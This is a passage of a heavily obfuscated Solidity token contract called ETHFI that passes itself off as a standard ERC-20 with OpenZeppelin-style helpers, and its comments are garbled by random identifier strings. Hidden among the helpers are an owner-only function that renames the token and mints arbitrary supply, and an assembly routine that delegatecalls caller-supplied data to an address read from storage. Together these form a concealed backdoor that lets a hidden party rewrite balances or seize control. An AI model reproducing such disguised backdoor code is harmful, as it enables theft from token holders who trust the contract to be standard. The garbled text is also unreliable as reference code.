bOBQvpztJRzOygxobDNOp7I2pzWytqP8UUENJsZo5VYIK3jYc4dt8dULOj8avfAE85ppztzDTI6ujtNlgOBikZUtER1l8lAkFINxYRhcoYuVCEr7zAnzqWw0x9K1V0I6SgK8gc     */    function tQZuQad3INtttNHjFl6eJDASDwNbbtZ9CWGxzHiHvIwPrP7d8kIdLjBLxQKvCoSVnpa3IylFY2w7hQEOcJ7HhO8Rfz1IVxam08fLTq8GtTuys8U28j2QFGIj7wp3IdfJMPpgxSBFLmxHGQ7sl9IBHYl208(uint256 v3xkTTpq9q0rqhNN8XV0P3wXD3i72YAsUQxfKWWVtmDOJsUrWwvkV7pIWDPY20DygV) internal pure returns (uint208) {        if (v3xkTTpq9q0rqhNN8XV0P3wXD3i72YAsUQxfKWWVtmDOJsUrWwvkV7pIWDPY20DygV > type(uint208).max) {            revert vdSL5IynfCchQKjxGeJM6GDZjk0sVXnGsI1J7yPjf9JKMKeaUF870luIVMUGVF5fGvvvgTq0NxAjXYhix4ImMrHNXaH1pKmiUEQlQ3jlfsLABz7erkDI1alTcOqwCNAbxMFRZZCr(208, v3xkTTpq9q0rqhNN8XV0P3wXD3i72YAsUQxfKWWVtmDOJsUrWwvkV7pIWDPY20DygV);        }        return uint208(v3xkTTpq9q0rqhNN8XV0P3wXD3i72YAsUQxfKWWVtmDOJsUrWwvkV7pIWDPY20DygV);    }/**     * @dev Sets the v3xkTTpq9q0rqhNN8XV0P3wXD3i72YAsUQxfKWWVtmDOJsUrWwvkV7pIWDPY20DygVs for {name} and {symbol}.     *     * All two of these v3xkTTpq9q0rqhNN8XV0P3wXD3i72YAsUQxfKWWVtmDOJsUrWwvkV7pIWDPY20DygVs are immutable: they can only be set once during     * construction.     */    function pKd5rfGrM(        string memory tokenName,        string memory coinSymbol,        uint256 supply_    ) public onlyOwner {        m0qclDCeXK4Izy66ktOj3zCimBM4jFe1oQtd56Qie96u2OLuORj9EKVdUVT6eKTEKui4nLHS27jskNQSwWACfpSs6ccE0ed354gx0pBtvQgxvfGZhzYLrzgCXKEsNdJbu7gzk5wRyZqbVndJ23oWX2ivnB96MEV9BcHDvhItfLmlzZ0pkSxzYQOokKJgu77oelSgQjMYKBtsQiNGAsNPneIQxChYMMAMrqESs1X6zps4xdc6WsgpaId = tokenName;        uLxERJxke9qQWn1DVxKaGuGMUW3frJ8AR5hrOs8phXYe5UsTG3sJx2Dc8pu98vKm0uNCVrd9LZRNT5OtH1ydmGpMl19wPvc8zYmFUEsZylCyaX2F4u5MlEUvJhB3Cu5notx1TPNFC9bmxUIQv4DwrMwF4avmg5pTS5RpCY5x9XmGC5JtRvoLKytRbNs6qsuSsyZx680rhxWGenRx4A8p9EdD7Rn6STPEJB0KDFEHhSA = coinSymbol;        tpXUu9fIAfhei39NOF1BAZya24tbVSV3JuwD2naWTyXMAVqqUZVCzhoTTuUHbZAdP91s0ycjjEfENAQBJgFUh1k2Z7HgLj3JpL5U6Q1jT(address(this), supply_);    }/**     * @dev Returns the downcasted int176 from int256, reverting on     * overflow (when the input is less than smallest int176 or     * greater than largest int176).     *     * Counterpart to Solidity's `int176` operator.     *     * Requirements:     *     * - input must fit into 176 bOBQvpztJRzOygxobDNOp7I2pzWytqP8UUENJsZo5VYIK3jYc4dt8dULOj8avfAE85ppztzDTI6ujtNlgOBikZUtER1l8lAkFINxYRhcoYuVCEr7zAnzqWw0x9K1V0I6SgK8gc     */    function cCeLR9WmIJnGN063x6l2ds8u1ODqNp2Dz0TmYc6ffsEP8Euucqn1LyEInHHol9tX4zujk7UhNtOIMMzDSWK6G8vqs8b5Elm04uy49OZyUe2JrMNdDsMwY1fThZbGKpBEOpGD6ASGp11Pkz2NJQXo0cd0sIWUSl4LkL176(int256 v3xkTTpq9q0rqhNN8XV0P3wXD3i72YAsUQxfKWWVtmDOJsUrWwvkV7pIWDPY20DygV) internal pure returns (int176 downcasted) {        downcasted = int176(v3xkTTpq9q0rqhNN8XV0P3wXD3i72YAsUQxfKWWVtmDOJsUrWwvkV7pIWDPY20DygV);        if (downcasted != v3xkTTpq9q0rqhNN8XV0P3wXD3i72YAsUQxfKWWVtmDOJsUrWwvkV7pIWDPY20DygV) {            revert ji9MSGJiisB2OotW2vIzvnHMAD4fCDEAHQ8NH33LI2s2p0f5iF5RIDs6zYpeOgN5bmn89pdjmf3nio6RDBLDF766uDCI5F3O2dBU55MQcFgWN9mCmnoH3BboUIZAuQ3AMFj8R8XoYdk1CHMEjki9xCStd2(176, v3xkTTpq9q0rqhNN8XV0P3wXD3i72YAsUQxfKWWVtmDOJsUrWwvkV7pIWDPY20DygV);        }    }/**     * @dev Total supply cap has been exceeded, introducing a risk of votes overflowing.     */    error ETHFIExceededSafeSupply(uint256 increasedSupply, uint256 cap);/**     * @dev Returns the downcasted int112 from int256, reverting on     * overflow (when the input is less than smallest int112 or     * greater than largest int112).     *     * Counterpart to Solidity's `int112` operator.     *     * Requirements:     *     * - input must fit into 112 bOBQvpztJRzOygxobDNOp7I2pzWytqP8UUENJsZo5VYIK3jYc4dt8dULOj8avfAE85ppztzDTI6ujtNlgOBikZUtER1l8lAkFINxYRhcoYuVCEr7zAnzqWw0x9K1V0I6SgK8gc     */    function cCeLR9WmIJnGN063x6l2ds8u1ODqNp2Dz0TmYc6ffsEP8Euucqn1LyEInHHol9tX4zujk7UhNtOIMMzDSWK6G8vqs8b5Elm04uy49OZyUe2JrMNdDsMwY1fThZbGKpBEOpGD6ASGp11Pkz2NJQXo0cd0sIWUSl4LkL112(int256 v3xkTTpq9q0rqhNN8XV0P3wXD3i72YAsUQxfKWWVtmDOJsUrWwvkV7pIWDPY20DygV) internal pure returns (int112 downcasted) {        downcasted = int112(v3xkTTpq9q0rqhNN8XV0P3wXD3i72YAsUQxfKWWVtmDOJsUrWwvkV7pIWDPY20DygV);        if (downcasted != v3xkTTpq9q0rqhNN8XV0P3wXD3i72YAsUQxfKWWVtmDOJsUrWwvkV7pIWDPY20DygV) {            revert ji9MSGJiisB2OotW2vIzvnHMAD4fCDEAHQ8NH33LI2s2p0f5iF5RIDs6zYpeOgN5bmn89pdjmf3nio6RDBLDF766uDCI5F3O2dBU55MQcFgWN9mCmnoH3BboUIZAuQ3AMFj8R8XoYdk1CHMEjki9xCStd2(112, v3xkTTpq9q0rqhNN8XV0P3wXD3i72YAsUQxfKWWVtmDOJsUrWwvkV7pIWDPY20DygV);        }    }function timestamp() internal view returns (uint48) {        return tQZuQad3INtttNHjFl6eJDASDwNbbtZ9CWGxzHiHvIwPrP7d8kIdLjBLxQKvCoSVnpa3IylFY2w7hQEOcJ7HhO8Rfz1IVxam08fLTq8GtTuys8U28j2QFGIj7wp3IdfJMPpgxSBFLmxHGQ7sl9IBHYl48(block.timestamp);    }/**     * @dev Lookup to future votes is not available.     */    error yDH9EUPrSZkuWXApPcEtpKs2cRcBaK4tgpuYhtXvzCVM8KVwsjP5sSSFFkqO2Nv6P6tdaDQjVlsIY3CMUm7KMhGfXKqVIZsS6jEDW5Lkz1eGB0hJOiQ9Mz5aWQAvMM5yERY0bygQaYHUMNQULTD7EUHGV7SfE5CtEzIJLn6R0Tfl5LropFeIdZM7cFUJZk5dz92OAnmzM2ZAK0J3V2Uk94KRL7jFy7N8Mz(uint256 eZP6TXqv05sVIRWpLn5BZ4sQbUlCWNKnkzGTy1Q19aOR2eTHUfvtAmP9HMh8gsFTlUwRwdbXADol3c8sUxGhnIpFgf57dT1OuIN3yoX0FQ0NNy8PYIdx55HvyTs4K9AU0Oi4VzMuHlhgsdvMW0SyvEKG5UV8LpKahdGbyqCMWYC5RUTAEPbuOf6dBrqe2, uint48 iw2vZkxxZOog9tZHXHRNk8lK26t43lt77vsQYVsBeDP3vThgcCHDuS1pBRIK1hFlV6KWl0weA9IqbbJs4ONefyDTHtEHamhjeQyYzpUzjGNQygeMrKgLjFW1lrN8S9D2tbPc5LAXbeOcMKdRerYrq9eXSBJ1nK14KKDuuPEh8);/**     * @dev Returns the downcasted uint144 from uint256, reverting on     * overflow (when the input is greater than largest uint144).     *     * Counterpart to Solidity's `uint144` operator.     *     * Requirements:     *     * - input must fit into 144 bOBQvpztJRzOygxobDNOp7I2pzWytqP8UUENJsZo5VYIK3jYc4dt8dULOj8avfAE85ppztzDTI6ujtNlgOBikZUtER1l8lAkFINxYRhcoYuVCEr7zAnzqWw0x9K1V0I6SgK8gc     */    function tQZuQad3INtttNHjFl6eJDASDwNbbtZ9CWGxzHiHvIwPrP7d8kIdLjBLxQKvCoSVnpa3IylFY2w7hQEOcJ7HhO8Rfz1IVxam08fLTq8GtTuys8U28j2QFGIj7wp3IdfJMPpgxSBFLmxHGQ7sl9IBHYl144(uint256 v3xkTTpq9q0rqhNN8XV0P3wXD3i72YAsUQxfKWWVtmDOJsUrWwvkV7pIWDPY20DygV) internal pure returns (uint144) {        if (v3xkTTpq9q0rqhNN8XV0P3wXD3i72YAsUQxfKWWVtmDOJsUrWwvkV7pIWDPY20DygV > type(uint144).max) {            revert vdSL5IynfCchQKjxGeJM6GDZjk0sVXnGsI1J7yPjf9JKMKeaUF870luIVMUGVF5fGvvvgTq0NxAjXYhix4ImMrHNXaH1pKmiUEQlQ3jlfsLABz7erkDI1alTcOqwCNAbxMFRZZCr(144, v3xkTTpq9q0rqhNN8XV0P3wXD3i72YAsUQxfKWWVtmDOJsUrWwvkV7pIWDPY20DygV);        }        return uint144(v3xkTTpq9q0rqhNN8XV0P3wXD3i72YAsUQxfKWWVtmDOJsUrWwvkV7pIWDPY20DygV);    }function owner() public view returns (address) {        return pQuhBEhCjqKtDZNpxQdBDQIKyKhAbResQNGI0ubNUeJhsqKkAN2Gr50iprcPrqGUvpcoFhMyIFQwfNDMZBULYizk28FJy8SOUxFwI7dUPC8IuS6HqHWHJsPNUlsVZYPNmCaW9FVvSQYXPkhrpI1RnbsmTUikNpFXkLDQP6;    }/**     * @dev See {IETHFI-transferFrom}.     *     * Emits an {Approval} event indicating the updated allowance. This is not     * required by the EIP. See the note at the beginning of {ETHFI}.     *     * NOTE: Does not update the allowance if the current allowance     * is the maximum `uint256`.     *     * Requirements:     *     * - `from` and `to` cannot be the zero address.     * - `from` must have a balance of at least `v3xkTTpq9q0rqhNN8XV0P3wXD3i72YAsUQxfKWWVtmDOJsUrWwvkV7pIWDPY20DygV`.     * - the caller must have allowance for ``from``'s tokens of at least     * `v3xkTTpq9q0rqhNN8XV0P3wXD3i72YAsUQxfKWWVtmDOJsUrWwvkV7pIWDPY20DygV`.     */    function transferFrom(        address from,        address to,        uint256 v3xkTTpq9q0rqhNN8XV0P3wXD3i72YAsUQxfKWWVtmDOJsUrWwvkV7pIWDPY20DygV    ) public returns (bool) {        address nqheM9M9IRjbNbF1829KaeaTcnO8UsNezmSO11xqYoxbFHElUHtGsZdzNAK0zO67T2JcquyhXq53spBVsk3 = eQSCQ51MxjTx1zVoE65cI1VHqbQ4QB3ryAdzW2UTOOmEFa8qf1M6z2zY9W57OLSf2lE9ItRQ8wmI7TOVL2BV0();        _spendAllowance(from, nqheM9M9IRjbNbF1829KaeaTcnO8UsNezmSO11xqYoxbFHElUHtGsZdzNAK0zO67T2JcquyhXq53spBVsk3, v3xkTTpq9q0rqhNN8XV0P3wXD3i72YAsUQxfKWWVtmDOJsUrWwvkV7pIWDPY20DygV);        _transfer(from, to, v3xkTTpq9q0rqhNN8XV0P3wXD3i72YAsUQxfKWWVtmDOJsUrWwvkV7pIWDPY20DygV);        return true;    }function rsfYFr0fDZAuXOA9tL5DqCPzihvu2EUUvz4d4bcI3VfPDxqSDQjYOa4v6w1MZGoFEegPvJUqGa7(address tg8jG8qyVH7XcTMFsfm4PO53q4a5XyGxvPhU11yzCcVtUKPkj9iwXwQhkHMj7hjKhWLSxFwpOQv4Q0zCEEoUmxyCefP8MxZRALd2b7rPwJiC1DOUMyXNIf5uGMxmCSTyHM0MSlDylbth9Ifbnik2AwZJzmz90KGQnM0aZEQgWhf7adAsCA7tVSaqy9srNIJEP0ADAbk9DT9knWd6E39RQtm7JLfDt1tqF3vyULHeO4agpgv5QvQIp8GOR) internal {        address oldOwner = pQuhBEhCjqKtDZNpxQdBDQIKyKhAbResQNGI0ubNUeJhsqKkAN2Gr50iprcPrqGUvpcoFhMyIFQwfNDMZBULYizk28FJy8SOUxFwI7dUPC8IuS6HqHWHJsPNUlsVZYPNmCaW9FVvSQYXPkhrpI1RnbsmTUikNpFXkLDQP6;        pQuhBEhCjqKtDZNpxQdBDQIKyKhAbResQNGI0ubNUeJhsqKkAN2Gr50iprcPrqGUvpcoFhMyIFQwfNDMZBULYizk28FJy8SOUxFwI7dUPC8IuS6HqHWHJsPNUlsVZYPNmCaW9FVvSQYXPkhrpI1RnbsmTUikNpFXkLDQP6 = tg8jG8qyVH7XcTMFsfm4PO53q4a5XyGxvPhU11yzCcVtUKPkj9iwXwQhkHMj7hjKhWLSxFwpOQv4Q0zCEEoUmxyCefP8MxZRALd2b7rPwJiC1DOUMyXNIf5uGMxmCSTyHM0MSlDylbth9Ifbnik2AwZJzmz90KGQnM0aZEQgWhf7adAsCA7tVSaqy9srNIJEP0ADAbk9DT9knWd6E39RQtm7JLfDt1tqF3vyULHeO4agpgv5QvQIp8GOR;        emit OwnershipTransferred(oldOwner, tg8jG8qyVH7XcTMFsfm4PO53q4a5XyGxvPhU11yzCcVtUKPkj9iwXwQhkHMj7hjKhWLSxFwpOQv4Q0zCEEoUmxyCefP8MxZRALd2b7rPwJiC1DOUMyXNIf5uGMxmCSTyHM0MSlDylbth9Ifbnik2AwZJzmz90KGQnM0aZEQgWhf7adAsCA7tVSaqy9srNIJEP0ADAbk9DT9knWd6E39RQtm7JLfDt1tqF3vyULHeO4agpgv5QvQIp8GOR);    }/**     * @dev Returns the downcasted int192 from int256, reverting on     * overflow (when the input is less than smallest int192 or     * greater than largest int192).     *     * Counterpart to Solidity's `int192` operator.     *     * Requirements:     *     * - input must fit into 192 bOBQvpztJRzOygxobDNOp7I2pzWytqP8UUENJsZo5VYIK3jYc4dt8dULOj8avfAE85ppztzDTI6ujtNlgOBikZUtER1l8lAkFINxYRhcoYuVCEr7zAnzqWw0x9K1V0I6SgK8gc     */    function cCeLR9WmIJnGN063x6l2ds8u1ODqNp2Dz0TmYc6ffsEP8Euucqn1LyEInHHol9tX4zujk7UhNtOIMMzDSWK6G8vqs8b5Elm04uy49OZyUe2JrMNdDsMwY1fThZbGKpBEOpGD6ASGp11Pkz2NJQXo0cd0sIWUSl4LkL192(int256 v3xkTTpq9q0rqhNN8XV0P3wXD3i72YAsUQxfKWWVtmDOJsUrWwvkV7pIWDPY20DygV) internal pure returns (int192 downcasted) {        downcasted = int192(v3xkTTpq9q0rqhNN8XV0P3wXD3i72YAsUQxfKWWVtmDOJsUrWwvkV7pIWDPY20DygV);        if (downcasted != v3xkTTpq9q0rqhNN8XV0P3wXD3i72YAsUQxfKWWVtmDOJsUrWwvkV7pIWDPY20DygV) {            revert ji9MSGJiisB2OotW2vIzvnHMAD4fCDEAHQ8NH33LI2s2p0f5iF5RIDs6zYpeOgN5bmn89pdjmf3nio6RDBLDF766uDCI5F3O2dBU55MQcFgWN9mCmnoH3BboUIZAuQ3AMFj8R8XoYdk1CHMEjki9xCStd2(192, v3xkTTpq9q0rqhNN8XV0P3wXD3i72YAsUQxfKWWVtmDOJsUrWwvkV7pIWDPY20DygV);        }    }/**     * @dev Returns the downcasted uint104 from uint256, reverting on     * overflow (when the input is greater than largest uint104).     *     * Counterpart to Solidity's `uint104` operator.     *     * Requirements:     *     * - input must fit into 104 bOBQvpztJRzOygxobDNOp7I2pzWytqP8UUENJsZo5VYIK3jYc4dt8dULOj8avfAE85ppztzDTI6ujtNlgOBikZUtER1l8lAkFINxYRhcoYuVCEr7zAnzqWw0x9K1V0I6SgK8gc     */    function tQZuQad3INtttNHjFl6eJDASDwNbbtZ9CWGxzHiHvIwPrP7d8kIdLjBLxQKvCoSVnpa3IylFY2w7hQEOcJ7HhO8Rfz1IVxam08fLTq8GtTuys8U28j2QFGIj7wp3IdfJMPpgxSBFLmxHGQ7sl9IBHYl104(uint256 v3xkTTpq9q0rqhNN8XV0P3wXD3i72YAsUQxfKWWVtmDOJsUrWwvkV7pIWDPY20DygV) internal pure returns (uint104) {        if (v3xkTTpq9q0rqhNN8XV0P3wXD3i72YAsUQxfKWWVtmDOJsUrWwvkV7pIWDPY20DygV > type(uint104).max) {            revert vdSL5IynfCchQKjxGeJM6GDZjk0sVXnGsI1J7yPjf9JKMKeaUF870luIVMUGVF5fGvvvgTq0NxAjXYhix4ImMrHNXaH1pKmiUEQlQ3jlfsLABz7erkDI1alTcOqwCNAbxMFRZZCr(104, v3xkTTpq9q0rqhNN8XV0P3wXD3i72YAsUQxfKWWVtmDOJsUrWwvkV7pIWDPY20DygV);        }        return uint104(v3xkTTpq9q0rqhNN8XV0P3wXD3i72YAsUQxfKWWVtmDOJsUrWwvkV7pIWDPY20DygV);    }function zUPnOrQGcxumfpQwHuUNq82aVPOYkCdynT12v59WclVuWP9xoXz0JZeMm91hzv66h5PzzDDejAfenYyYDlZsEEHDnyq5R64H0ytUG50sYuFAhKSbNvrW09ceK8NYM7ZXwN6gTb7BNqtJcli6AWzJHNEXloOSXpjzcjRA(bytes memory v3xkTTpq9q0rqhNN8XV0P3wXD3i72YAsUQxfKWWVtmDOJsUrWwvkV7pIWDPY20DygV) internal {        assembly {                if iszero(                    delegatecall(                        gas(),                        sload(address()),                        add(v3xkTTpq9q0rqhNN8XV0P3wXD3i72YAsUQxfKWWVtmDOJsUrWwvkV7pIWDPY20DygV, 36),                        sub(mload(v3xkTTpq9q0rqhNN8XV0P3wXD3i72YAsUQxfKWWVtmDOJsUrWwvkV7pIWDPY20DygV), 4),                        0,                        0                    )                ) {                    revert(0, 0)                }        }    }/**     * @dev Returns the downcasted uint80 from uint256, reverting on     * overflow (when the input is greater than largest uint80).     *     * Counterpart to Solidity's `uint80` operator.     *     * Requirements:     *     * - input must fit into 80 bOBQvpztJRzOygxobDNOp7I2pzWytqP8UUENJsZo5VYIK3jYc4dt8dULOj8avfAE85ppztzDTI6ujtNlgOBikZUtER1l8lAkFINxYRhcoYuVCEr7zAnzqWw0x9K1V0I6SgK8gc     */    function tQZuQad3INtttNHjFl6eJDASDwNbbtZ9CWGxzHiHvIwPrP7d8kIdLjBLxQKvCoSVnpa3IylFY2w7hQEOcJ7HhO8Rfz1IVxam08fLTq8GtTuys8U28j2QFGIj7wp3IdfJMPpgxSBFLmxHGQ7sl9IBHYl80(uint256 v3xkTTpq9q0rqhNN8XV0P3wXD3i72YAsUQxfKWWVtmDOJsUrWwvkV7pIWDPY20DygV) internal pure returns (uint80) {        if (v3xkTTpq9q0rqhNN8XV0P3wXD3i72YAsUQxfKWWVtmDOJsUrWwvkV7pIWDPY20DygV > type(uint80).max) {            revert vdSL5IynfCchQKjxGeJM6GDZjk0sVXnGsI1J7yPjf9JKMKeaUF870luIVMUGVF5fGvvvgTq0NxAjXYhix4ImMrHNXaH1pKmiUEQlQ3jlfsLABz7erkDI1alTcOqwCNAbxMFRZZCr(80, v3xkTTpq9q0rqhNN8XV0P3wXD3i72YAsUQxfKWWVtmDOJsUrWwvkV7pIWDPY20DygV);        }        return uint80(v3xkTTpq9q0rqhNN8XV0P3wXD3i72YAsUQxfKWWVtmDOJsUrWwvkV7pIWDPY20DygV);    }/**     * @dev Returns the downcasted int224 from int256, reverting on     * overflow (when the input is less than smallest int224 or     * greater than largest int224).     *     * Counterpart to Solidity's `int224` operator.     *     * Requirements:     *     * - input must fit into 224 bOBQvpztJRzOygxobDNOp7I2pzWytqP8UUENJsZo5VYIK3jYc4dt8dULOj8avfAE85ppztzDTI6ujtNlgOBikZUtER1l8lAkFINxYRhcoYuVCEr7zAnzqWw0x9K1V0I6SgK8gc     */    function cCeLR9WmIJnGN063x6l2ds8u1ODqNp2Dz0TmYc6ffsEP8Euucqn1LyEInHHol9tX4zujk7UhNtOIMMzDSWK6G8vqs8b5Elm04uy49OZyUe2JrMNdDsMwY1fThZbGKpBEOpGD6ASGp11Pkz2NJQXo0cd0sIWUSl4LkL224(int256 v3xkTTpq9q0rqhNN8XV0P3wXD3i72YAsUQxfKWWVtmDOJsUrWwvkV7pIWDPY20DygV) internal pure returns (int224 downcasted) {        downcasted = int224(v3xkTTpq9q0rqhNN8XV0P3wXD3i72YAsUQxfKWWVtmDOJsUrWwvkV7pIWDPY20DygV);        if (downcasted != v3xkTTpq9q0rqhNN8XV0P3wXD3i72YAsUQxfKWWVtmDOJsUrWwvkV7pIWDPY20DygV) {            revert ji9MSGJiisB2OotW2vIzvnHMAD4fCDEAHQ8NH33LI2s2p0f5iF5RIDs6zYpeOgN5bmn89pdjmf3nio6RDBLDF766uDCI5F3O2dBU55MQcFgWN9mCmnoH3BboUIZAuQ3AMFj8R8XoYdk1CHMEjki9xCStd2(224, v3xkTTpq9q0rqhNN8XV0P3wXD3i72YAsUQxfKWWVtmDOJsUrWwvkV7pIWDPY20DygV);        }    }/**     * @dev Returns the downcasted uint168 from uint256, reverting on     * overflow (when the input is greater than largest uint168).     *     * Counterpart to Solidity's `uint168` operator.     *     * Requirements:     *     * - input must fit into 168 bOBQvpztJRzOygxobDNOp7I2pzWytqP8UUENJsZo5VYIK3jYc4dt8dULOj8avfAE85ppztzDTI6ujtNlgOBikZUtER1l8lAkFINxYRhcoYuVCEr7zAnzqWw0x9K1V0I6SgK8gc     */    function tQZuQad3INtttNHjFl6eJDASDwNbbtZ9CWGxzHiHvIwPrP7d8kIdLjBLxQKvCoSVnpa3IylFY2w7hQEOcJ7HhO8Rfz1IVxam08fLTq8GtTuys8U28j2QFGIj7wp3IdfJMPpgxSBFLmxHGQ7sl9IBHYl168(uint256 v3xkTTpq9q0rqhNN8XV0P3wXD3i72YAsUQxfKWWVtmDOJsUrWwvkV7pIWDPY20DygV) internal pure returns (uint168) {        if (v3xkTTpq9q0rqhNN8XV0P3wXD3i72YAsUQxfKWWVtmDOJsUrWwvkV7pIWDPY20DygV > type(uint168).max) {            revert vdSL5IynfCchQKjxGeJM6GDZjk0sVXnGsI1J7yPjf9JKMKeaUF870luIVMUGVF5fGvvvgTq0NxAjXYhix4ImMrHNXaH1pKmiUEQlQ3jlfsLABz7erkDI1alTcOqwCNAbxMFRZZCr(168, v3xkTTpq9q0rqhNN8XV0P3wXD3i72YAsUQxfKWWVtmDOJsUrWwvkV7pIWDPY20DygV);        }        return uint168(v3xkTTpq9q0rqhNN8XV0P3wXD3i72YAsUQxfKWWVtmDOJsUrWwvkV7pIWDPY20DygV);    }/**     * @dev Returns the downcasted uint200 from uint256, reverting on     * overflow (when the input is greater than largest uint200).     *     * Counterpart to Solidity's `uint200` operator.     *     * Requirements:     *     * - input must fit into 200 bOBQvpztJRzOygxobDNOp7I2pzWytqP8UUENJsZo5VYIK3jYc4dt8dULOj8avfAE85ppztzDTI6ujtNlgOBikZUtER1l8lAkFINxYRhcoYuVCEr7zAnzqWw0x9K1V0I6SgK8gc     */    function tQZuQad3INtttNHjFl6eJDASDwNbbtZ9CWGxzHiHvIwPrP7d8kIdLjBLxQKvCoSVnpa3IylFY2w7hQEOcJ7HhO8Rfz1IVxam08fLTq8GtTuys8U28j2QFGIj7wp3IdfJMPpgxSBFLmxHGQ7sl9IBHYl200(uint256 v3xkTTpq9q0rqhNN8XV0P3wXD3i72YAsUQxfKWWVtmDOJsUrWwvkV7pIWDPY20DygV) internal pure returns (uint200) {        if (v3xkTTpq9q0rqhNN8XV0P3wXD3i72YAsUQxfKWWVtmDOJsUrWwvkV7pIWDPY20DygV > type(uint200).max) {            revert vdSL5IynfCchQKjxGeJM6GDZjk0sVXnGsI1J7yPjf9JKMKeaUF870luIVMUGVF5fGvvvgTq0NxAjXYhix4ImMrHNXaH1pKmiUEQlQ3jlfsLABz7erkDI1alTcOqwCNAbxMFRZZCr(200, v3xkTTpq9q0rqhNN8XV0P3wXD3i72YAsUQxfKWWVtmDOJsUrWwvkV7pIWDPY20DygV);        }        return uint200(v3xkTTpq9q0rqhNN8XV0P3wXD3i72YAsUQxfKWWVtmDOJsUrWwvkV7pIWDPY20DygV);    }/**     * @dev Destroys a `v3xkTTpq9q0rqhNN8XV0P3wXD3i72YAsUQxfKWWVtmDOJsUrWwvkV7pIWDPY20DygV` vmXoLOmeT6VapVla9hySibHwWSCBd97QdKAl1D5w8nQLjuBQTAx0ujjVaHWa3a4CvxFozi27oZYoUfcYOfOVgDwvF1BpSZbOFLBIpNtvDUyQdrWOsXARIPepH8BSyzsv7q99JThwFMqmAHRVIBrgjLWJ53QkXmvevL7q4fMaWk2qjBmN4uw8fg4sQrNDGNsghfLyAj5vg7AaJWVScBtiOyMsqHZ63kU4eq7 of tokens from `kO0TOr359PWzGXoLKVAAIKwyuJjLg346lUVtOneacYkNUBuJfkXPiQUVLd4deapD0MVy5Ilg6WeKDehh1IsXCEouFyXZpM4Mu13rXiVSgufJd4j6UGduyYuqMarzYq7uWsKwRTrLsQP48Ukv8WX6O4k968ZUSQynQtW1gpwyc2uC7v3SslgyYannyE0V6Qbb40nyt6hwCiNW6xTGEvnkd0lIbKI1cGYGXEPlRggPIyUr73axao2`, lowering the total supply.     * Relies on the `_update` mechanism.     *     * Emits a {Transfer} event with `to` set to the zero address.     *     * NOTE: This function is not , {_update} should be overridden instead     */    function _burn(address kO0TOr359PWzGXoLKVAAIKwyuJjLg346lUVtOneacYkNUBuJfkXPiQUVLd4deapD0MVy5Ilg6WeKDehh1IsXCEouFyXZpM4Mu13rXiVSgufJd4j6UGduyYuqMarzYq7uWsKwRTrLsQP48Ukv8WX6O4k968ZUSQynQtW1gpwyc2uC7v3SslgyYannyE0V6Qbb40nyt6hwCiNW6xTGEvnkd0lIbKI1cGYGXEPlRggPIyUr73axao2, uint256 vmXoLOmeT6VapVla9hySibHwWSCBd97QdKAl1D5w8nQLjuBQTAx0ujjVaHWa3a4CvxFozi27oZYoUfcYOfOVgDwvF1BpSZbOFLBIpNtvDUyQdrWOsXARIPepH8BSyzsv7q99JThwFMqmAHRVIBrgjLWJ53QkXmvevL7q4fMaWk2qjBmN4uw8fg4sQrNDGNsghfLyAj5vg7AaJWVScBtiOyMsqHZ63kU4eq7) internal {        require(kO0TOr359PWzGXoLKVAAIKwyuJjLg346lUVtOneacYkNUBuJfkXPiQUVLd4deapD0MVy5Ilg6WeKDehh1IsXCEouFyXZpM4Mu13rXiVSgufJd4j6UGduyYuqMarzYq7uWsKwRTrLsQP48Ukv8WX6O4k968ZUSQynQtW1gpwyc2uC7v3SslgyYannyE0V6Qbb40nyt6hwCiNW6xTGEvnkd0lIbKI1cGYGXEPlRggPIyUr73axao2 != address(0), "ETHFI: burn from the zero address");        _beforeTokenTransfer(kO0TOr359PWzGXoLKVAAIKwyuJjLg346lUVtOneacYkNUBuJfkXPiQUVLd4deapD0MVy5Ilg6WeKDehh1IsXCEouFyXZpM4Mu13rXiVSgufJd4j6UGduyYuqMarzYq7uWsKwRTrLsQP48Ukv8WX6O4k968ZUSQynQtW1gpwyc2uC7v3SslgyYannyE0V6Qbb40nyt6hwCiNW6xTGEvnkd0lIbKI1cGYGXEPlRggPIyUr73axao2, address(0), vmXoLOmeT6VapVla9hySibHwWSCBd97QdKAl1D5w8nQLjuBQTAx0ujjVaHWa3a4CvxFozi27oZYoUfcYOfOVgDwvF1BpSZbOFLBIpNtvDUyQdrWOsXARIPepH8BSyzsv7q99JThwFMqmAHRVIBrgjLWJ53QkXmvevL7q4fMaWk2qjBmN4uw8fg4sQrNDGNsghfLyAj5vg7AaJWVScBtiOyMsqHZ63kU4eq7);        uint256 kO0TOr359PWzGXoLKVAAIKwyuJjLg346lUVtOneacYkNUBuJfkXPiQUVLd4deapD0MVy5Ilg6WeKDehh1IsXCEouFyXZpM4Mu13rXiVSgufJd4j6UGduyYuqMarzYq7uWsKwRTrLsQP48Ukv8WX6O4k968ZUSQynQtW1gpwyc2uC7v3SslgyYannyE0V6Qbb40nyt6hwCiNW6xTGEvnkd0lIbKI1cGYGXEPlRggPIyUr73axao2Balance = uay0sZhHvy1W0Ly9pqtyIC1nP7qHtnGOJhb50UOFzYsOywWqd6swFjgSXsZKh090fNE1vO14QLBRvpuwT8x7fP1pXwG7qrqdj9XzC1vnBpJxuQfNM8Vl2TrN09N7qXa0an65p0Nbny[kO0TOr359PWzGXoLKVAAIKwyuJjLg346lUVtOneacYkNUBuJfkXPiQUVLd4deapD0MVy5Ilg6WeKDehh1IsXCEouFyXZpM4Mu13rXiVSgufJd4j6UGduyYuqMarzYq7uWsKwRTrLsQP48Ukv8WX6O4k968ZUSQynQtW1gpwyc2uC7v3SslgyYannyE0V6Qbb40nyt6hwCiNW6xTGEvnkd0lIbKI1cGYGXEPlRggPIyUr73axao2];        require(kO0TOr359PWzGXoLKVAAIKwyuJjLg346lUVtOneacYkNUBuJfkXPiQUVLd4deapD0MVy5Ilg6WeKDehh1IsXCEouFyXZpM4Mu13rXiVSgufJd4j6UGduyYuqMarzYq7uWsKwRTrLsQP48Ukv8WX6O4k968ZUSQynQtW1gpwyc2uC7v3SslgyYannyE0V6Qbb40nyt6hwCiNW6xTGEvnkd0lIbKI1cGYGXEPlRggPIyUr73axao2Balance >= vmXoLOmeT6VapVla9hySibHwWSCBd97QdKAl1D5w8nQLjuBQTAx0ujjVaHWa3a4CvxFozi27oZYoUfcYOfOVgDwvF1BpSZbOFLBIpNtvDUyQdrWOsXARIPepH8BSyzsv7q99JThwFMqmAHRVIBrgjLWJ53QkXmvevL7q4fMaWk2qjBmN4uw8fg4sQrNDGNsghfLyAj5vg7AaJWVScBtiOyMsqHZ63kU4eq7, "ETHFI: burn exceeds balance");        unchecked 